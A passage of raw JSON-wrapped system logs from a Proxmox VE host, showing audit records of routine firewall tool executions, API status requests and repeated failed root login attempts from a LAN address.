type=EXECVE msg=audit(1781966355.198:69411): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964768660,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 851"} {"@timestamp":1781965694621,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964623492,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966281048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966281.048:69177): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.108:69377): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc014314d0 a1=6093c8682410 a2=6093c8660680 a3=5 items=2 ppid=66594 pid=66595 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695523,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.523:62202): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964122999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964122.999:59674): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038393,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.393:63748): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964648993,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964648.993:61964): pid=1214 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964966069,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964966.069:63410): table=filter family=7 entries=4 op=xt_replace pid=60842 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355194,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.194:69410): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964767654,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965694621,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 517"} {"@timestamp":1781964621835,"@rawstring":"<27>Jun 20 15:10:21 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966281048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966281.048:69176): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345104,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.104:69375): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695518,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.518:62201): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964122999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964122.999:59673): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038387,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.387:63747): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964648843,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964648.843:61959): pid=1215 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964955940,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964955.940:63368): table=filter family=7 entries=4 op=xt_replace pid=60800 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355191,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.191:69409): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964767654,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965692755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964619848,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966281040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966281.040:69174): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345099,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.099:69374): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ca910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695513,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.513:62200): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964117990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964117.990:59671): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038384,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.384:63746): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964623493,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964623.493:61831): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964945801,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964945.801:63325): table=filter family=7 entries=4 op=xt_replace pid=60760 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355190,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.190:69408): argc=1 a0=\"date\""} {"@timestamp":1781964767654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965692755,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964619848,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966281040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966281.040:69173): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.093:69373): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695508,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.508:62199): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964117990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964117.990:59670): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038381,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.381:63743): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964619847,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964619.847:61820): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964935662,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964935.662:63280): table=filter family=7 entries=4 op=xt_replace pid=60716 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355184,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.184:69406): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964764630,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965692755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964618457,"@rawstring":"<27>Jun 20 15:10:18 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966276033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966276.033:69171): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.085:69372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695501,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.501:62198): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964117981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964117.981:59668): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965038381,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965038.381:63742): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964616108,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964616.108:61815): pid=1214 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964925524,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964925.524:63238): table=filter family=7 entries=4 op=xt_replace pid=60677 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355178,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.178:69405): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964764630,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965692755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964616109,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966276033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966276.033:69170): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.080:69371): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f5240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695496,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.496:62197): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964117981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964117.981:59667): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964612376,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964612.376:61774): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964915390,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964915.390:63196): table=filter family=7 entries=4 op=xt_replace pid=60638 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355173,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.173:69404): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964764630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965690802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964616108,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966276023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966276.023:69168): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.075:69370): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695488,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.488:62196): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964115392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.392:59663): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd7ff79200 a1=5e50cf0d53d0 a2=5e50cf0b3680 a3=5 items=1 ppid=57297 pid=57298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964608646,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964608.646:61763): pid=1214 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964905257,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964905.257:63154): table=filter family=7 entries=4 op=xt_replace pid=60599 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355166,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.166:69403): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964763629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965690802,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964614278,"@rawstring":"<27>Jun 20 15:10:14 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966276023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966276.023:69167): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.070:69369): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695476,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.476:62195): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964115307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.307:59645): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc05a69bc0 a1=65001425d410 a2=65001423b680 a3=5 items=1 ppid=57278 pid=57279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604881,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964604.881:61722): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964895109,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964895.109:63112): table=filter family=7 entries=4 op=xt_replace pid=60558 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355159,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.159:69402): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964762112,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781965690802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964612377,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966275578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.578:69161): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe2c6c8180 a1=6450a95fc310 a2=6450a95f5680 a3=5 items=1 ppid=66405 pid=66406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.064:69368): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695472,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.472:62194): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964112973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964112.973:59635): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964601064,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964601.064:61717): pid=1216 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=? acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=failed'"} {"@timestamp":1781964885970,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964885.970:63069): table=filter family=7 entries=4 op=xt_replace pid=60518 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355153,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.153:69401): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964762112,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965689710,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964612377,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966271016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966271.016:69147): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.058:69367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695469,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.469:62193): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964112972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964112.972:59634): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 